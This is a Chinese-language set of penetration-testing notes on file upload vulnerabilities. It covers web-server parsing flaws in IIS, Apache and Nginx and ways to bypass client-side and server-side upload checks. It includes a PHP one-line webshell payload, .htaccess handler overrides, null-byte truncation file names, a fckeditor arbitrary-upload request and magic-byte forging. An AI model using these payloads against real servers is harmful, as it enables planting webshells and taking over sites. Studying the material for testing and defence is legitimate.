上传漏洞详解:
文件解析漏洞
上传本地验证绕过
上传服务器验证绕过
文件解析漏洞:
解析漏洞主要说的是一些特殊文件被iis,apache,nginx在某种情况下解释成脚本文件格式的漏洞
IIS 5.x/6.0解析漏洞(比较老)
IIS 6.0解析利用方法有两种
1.目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名字为.asp,.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行
例如创建目录cracer.asp,那么
/cracer.asp/1.jpg将被当作asp文件夹来执行.假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了.
2.文件解析
cracer.asp;.jpg
第二种,在IIS6.0下,分号后面的不被解析,也就是说
cracer.asp;.jpg (卡上去是图片格式,但是上传后是.asp格式)
会被服务器看成是wooyun.asp还有IIS6.0默认的可执行文件除了asp还包含这三种
/cracer.asa
/cracer.cer
/cracer.cdx
IIS 5.x是2000 6.0是2003 7.5是2008
Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如cracer.php.owf.rar ".owf"和".rar"这两种后缀是apache不可识别解析,apache就会把cracer.php.owf.rar解析成php
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个cracer.php.rara.jpg.png...(把你知道的常见后缀都写上...)去测试是否是合法后缀
任意不识别的后缀,逐级向上识别.
IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的
在默认Fast-CGI开启状态下,黑阔上传一个名字为cracer.jpg,内容为<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>的文件,然后访问cracer.jpg/.php,在这个目录下就会生成一句话木马shell.php
www.xxx.com/logo.gif/*.php触发漏洞(有漏洞会把前面文件当作php执行)
x.asp00jieduan%jpg //a.php%00.jpg
a.aspx.a;a.aspx.jpg..jpg第二种解析漏洞
或者直接上传xx.asp
微信互刷平台,以前存在过这个漏洞.
Nginx<8.03空字节代码执行漏洞
影响版:0.5,0.6,0.7<=0.7.65,0.8<=0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.php%00.jpg
来执行其中的代码
htaccess文件解析
如果在Apache中.htaccess可被执行,且可被上传,那可以尝试在.htaccess中写入:
<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>
然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件
上传本地验证绕过
上传检测流程概述:
通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求并同意后,用户与web服务器将建立连接,并传输data
服务器命名规则:
第一种类型:上传文件名和服务器命名一致
第二种类型:上传文件名和服务器命名不一致(随机,时间日期命名等)
(reg:a.asp->a.jpg/201702281211111.jpg)
常见的上传检测方式:
1.客户端JavaScript检测(通常为检测文件扩展名)
2.服务端MIME类型检测(检测Content-Type内容)
3.服务端目录路径检测(检测跟path参数相关的内容)
4.服务端文件扩展名检测(检测跟文件extension相关的内容)
5.服务端文件内容检测(检测内容是否合法或含有恶意代码)
客户端检测绕过(JavaScript检测)
首先判断JS本地验证
通常可以根据它的验证警告弹框的速度可以判断,如果你电脑运行比较快,那么我们可以用burp抓包,在点击提交的时候burp没有抓到包,就已经弹框那么说明这个就是本地js验证
绕过方法:
1.使用burp抓包改名
2.使用firebug直接删掉本地验证的js代码
3.添加js验证的白名单如将php的格式添加进去.
选择完文件,点击上传之后,没经过网络就弹框的,就是本地
如果是本地验证的话,用mantra修改js然后再上传
先用.jpg,上传抓包,然后burp再改回.php,然后forward.
因酷教育
WordPress
客户端白名单绕过
修改允许上传的类型
上传服务器端验证绕过
服务端检测绕过(MIME类型检测)
MIME的作用:使客户端软件,区分不同种类的数据,reg:web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件
web服务器使用MIME来说明发送数据的种类,web客户端使用MIME来说明希望接收到的数据种类.
Tomact的安装目录\conf\web.xml中就定义了大量MIME类型,你可以去看一下
绕过方法:
直接使用burp抓包,得到post上传数据后,将Content-Type:text/plain改成Content-Type:image/gif
就可以成功绕过
Zwell通用图片上传
服务端检测绕过(目录路径检测)
目录路径检测,一般就检测路径是否合法,但稍微特殊一点的都没有防御,比如比较新的fckeditor php<=2.6.4 任意文件上传漏洞
当POST下面的URL的时候
/fckeditor 264/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=fuck.php%00.gif HTTP/1.0
CurrentFolder 这个变量的值会传到ServerMapFolder($resourceType,$folderPath,$sCommand)中的形参$folder里,而$folder在这个函数中并没有做任何检测,就被CombinePaths()了
修改文件上传路径
http://www.upload.com/tcnet/Admin_Login.asp
forward->快捷键(ctrl+R)->Repeater
IIS6.0:reg:乱码中如果有JFIF,说明已经解析成功了
filepath路径修改绕过
可以用来突破自动命名规则
xxxxx.gif
一,改变文件上传后的路径
/a.asp/ 需要一定的创建权限,不一定能...
成功创建后为
/a.asp/xxx.gif
二,直接改变文件名称
/a.asp;.
修改后为
/a.asp;.xxxx.gif
服务器端检测绕过(文件扩展名检测)
黑名单检测
黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多,一般有个专门的blacklist文件,里面会包含常见的危险脚本文件例如:fckeditor 2.4.3或之前版本的黑名单
白名单检测
白名单相对来说比黑名单安全 一些,也不绝对安全
绕过黑名单
1.文件名大小写绕过
用像AsP,pHp之类的文件名绕过黑名单检测
2.名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有asa或者cer之类的
3.特殊文件名绕过
比如发送的http包里把文件名改成test.asp或test.asp(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性
4.0x00截断绕过
在扩展名检测这一块目前我只遇到过asp的程序有这种漏洞,给个简单的伪代码name=getname(httprequest)//加入这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
type=gettype(name)//而在gettype()函数处理方式是从后往前扫描扩展名,所以判断为.jpg
if(type==jpg)
5..htaccess文件攻击配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
6.解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的非黑名单即可,再利用解析调用/漏洞
burp->intruder->2p.${jpg}
Payloads->加载后缀字典.
00截断:2p.php%00(ctrl+shift+u).jpg
phpweb存在%00漏洞
绕过白名单
1.0x00截断绕过
用像test.asp?%00.jpg的方式进行截断.属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过asp的程序有这种漏洞
2.解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
-.htaccess文件攻击
通过一个.htaccess文件调用php的解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件,所以无论文件名是什么样子,只要包含"haha"这个字符串,都可以被以php的方式来解析,是不是相当邪恶,一个自定义的.htaccess文件就可以以各种各样的方式去绕过很多上传验证机制.
建一个.htaccess文件,里面的内容如下:
<FilesMatch "haha">
SetHandler application/x-httpd-php</FilesMatch>
同目录有个我们上传一个只有文件名并包含字符串"haha".但是却无任何扩展名的文件里面的内容是php一句话木马
双文件上传
南方,良精,动易...
文件上传,repeater->复制cookie,
复制到--------------------------
然后粘贴到后面
name="Filename2" 后缀改成2p.cer
如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难,也可以说它是在代码层检测的最后一道关卡,如果它被突破了,就算没有代码层的漏洞,也给后面利用应用层的解析漏洞带来了机会.
绕过检测文件头
主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下:
要绕过jpg文件幻数检测就要在文件开头写下方的值
Value=FF D8 FF E0 00 10 4A 46 49 46
offset 1 2...
000000000 FF D8... JFIF
要绕过gif文件幻数检测就要在文件开头写下方的值
Value=47 49 46 38 39 61 GIF89a
在前面加一个jfif
在前面加一个gif89a
文件相关信息检测:
图像文件相关信息检测常用的就是getimagesize()函数,只需要把文件头部分伪造好就ok了,就是在幻数的基础上还加了一些文件信息,有点像下面的结构
GIF89a
(...some binary data for image...)<?php phpinfo();?>
(...skipping the rest of binary data...)
文件加载检测:
这个是最变态的检测了,一般是调用API或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染(后面会提到)对渲染/加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身
先说一下对渲染/加载测试攻击,代码注入绕过,可以用图像处理软件对一张图片进行代码注入,用winhex看数据可以分析出这类工具的原理是:
在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的.
绕过二次渲染
攻击函数本身
通过上传不完整的图片让其渲染函数暴露,然后攻击之.
第二种方法
对文件加载器进行溢出攻击.
(调用图片内容的时候就执行了语句)
表单提交按钮
slblog.upload.com/sleditor/upload.asp
写入表单
<input type="submit" value="提交" name="bb">
上传a.asa
只有选择文件没有上传的,自己写一个上传就好了.